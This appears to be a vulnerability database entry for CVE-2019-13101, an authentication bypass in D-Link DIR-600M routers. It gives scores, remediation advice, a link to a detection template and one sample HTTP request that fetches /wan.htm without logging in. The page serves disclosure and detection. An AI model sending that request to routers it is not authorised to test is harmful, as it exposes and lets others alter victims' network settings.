🔙 목록으로 돌아가기

CVE-2019-13101: D-Link DIR-600M - Authentication Bypass

TitleD-Link DIR-600M - Authentication Bypass
AuthorSuman_Kar
SeverityCritical
ImpactAn attacker can bypass authentication and gain unauthorized access to the router's settings, potentially leading to further compromise of the network.
RemediationUpdate the router's firmware to the latest version provided by D-Link.
CVSS Score9.8
EPSS Score0.85471
CVE IDCVE-2019-13101
CWE IDCWE-306
Tags cve2019 cve packetstorm edb dlink router iot vkev vuln

🔍 Vulnerability Description

D-Link DIR-600M 3.02, 3.03, 3.04, and 3.06 devices can be accessed directly without authentication and lead to disclosure of information about the WAN, which can then be leveraged by an attacker to modify the data fields of the page.

🌐 HTTP Request

GET /wan.htm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Origin: http://www.victim.com
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-13101.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-13101.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A